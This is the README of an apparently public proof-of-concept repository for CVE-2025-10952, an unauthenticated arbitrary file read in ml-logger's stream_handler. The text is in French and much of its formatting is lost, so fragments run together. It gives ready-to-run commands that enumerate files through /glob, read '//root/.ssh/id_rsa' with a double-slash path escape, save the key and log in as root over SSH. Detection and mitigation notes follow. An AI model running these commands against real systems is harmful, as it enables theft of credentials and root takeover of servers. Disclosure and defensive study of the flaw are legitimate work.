
PoC pour CVE-2025-10952 — lecture arbitraire de fichiers non authentifiée dans ml-logger. CVSS 5.3
stream_handler de ml-loggerCe dépôt fournit un script Python autonome — CVE-2025-10952.py — qui exploite une vulnérabilité de lecture arbitraire de fichiers non authentifiée dans stream_handler de ml-logger, chaînée avec l'endpoint /glob pour l'énumération du système de fichiers.
Lorsqu'il est exécuté contre une instance vulnérable de ml-logger, il permet de :
/glob (non authentifié, sans restriction de chemin en dehors du périmètre prévu)./stream en fournissant un paramètre spécialement conçu qui contourne la logique de jointure du chemin de base du gestionnaire.keyÉtant donné que stream_handler transmet le champ key fourni par le client directement dans un appel de résolution de chemin et de streaming sans vérification de confinement, un attaquant réseau non authentifié peut lire n'importe quel fichier accessible à l'utilisateur OS du service.
ml_logger/server.py — stream_handler (gestionnaire de fichiers)AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:Nacf255bade5be6ad88d90735c8367b28cbe3a743 (projet à publication continue ; aucune version corrigée publiée au moment de la divulgation)stream_handler accepte un corps JSON contenant un champ key et le transmet directement dans un appel de lecture de fichier sans assainissement du chemin. L'endpoint frère glob_handler implémente des restrictions partielles de chemin (blocage des chemins absolus et des traversées), mais stream_handler ne partage pas cette validation — une double barre oblique initiale dans key (par exemple //root/.ssh/id_rsa) suffit pour sortir du répertoire de base prévu.
ml-logger vulnérablegit clone https://github.com/Khashayarnzk/CVE-2025-10952-ml-logger-AFR.git
cd CVE-2025-10952-ml-logger-AFR
pip install -r requirements.txt
Énumérer les fichiers :
python3 CVE-2025-10952.py --target TARGET --port 8081 --glob "/etc/*"
Lire un fichier arbitraire :
python3 CVE-2025-10952.py --target TARGET --port 8081 --read "//root/.ssh/id_rsa"
Lire et enregistrer sur le disque :
python3 CVE-2025-10952.py --target TARGET --port 8081 --read "//root/.ssh/id_rsa" --out id_rsa_root
chmod 600 id_rsa_root
ssh -i id_rsa_root -o StrictHostKeyChecking=no root@TARGET
--port est défini par défaut sur 8081, le port par défaut de l'API de courtage de fichiers de ml-logger dans un déploiement standard. Le frontend du tableau de bord est généralement servi sur un port séparé et ne fait pas partie du chemin vulnérable.
/glob de la cible répond 405 Method Not Allowed avec Allow: POST — cela identifie le port API par rapport au frontend statique du tableau de bord.--glob pour cartographier les fichiers intéressants (clés SSH, configurations, magasins d'identifiants).--read, en utilisant une double barre oblique initiale pour les chemins absolus.key/path contenant .., des doubles barres obliques initiales (//), ou des préfixes de chemins absolus (/etc, /root, /proc) dirigés vers les ports du service ml-logger.~/.ssh/, /etc/shadow, /etc/passwd devrait signaler les lectures provenant de l'identité du processus ml-logger.ml-logger à un réseau non fiable sans un proxy inverse d'authentification devant lui.os.path.realpath() vérifiée par rapport à un répertoire de base sur liste blanche) dans stream_handler ; exécuter le service sous un compte OS dédié et non privilégié.Ce dépôt contient une preuve de concept d'exploitation pour CVE-2025-10952, une vulnérabilité de divulgation d'informations non authentifiée dans ml-logger. Utilisez ce code uniquement dans des environnements que vous possédez ou pour lesquels vous disposez d'une autorisation explicite de test. L'auteur n'est pas responsable de toute utilisation abusive ou de tout dommage causé par ce logiciel.
Voir LICENSE.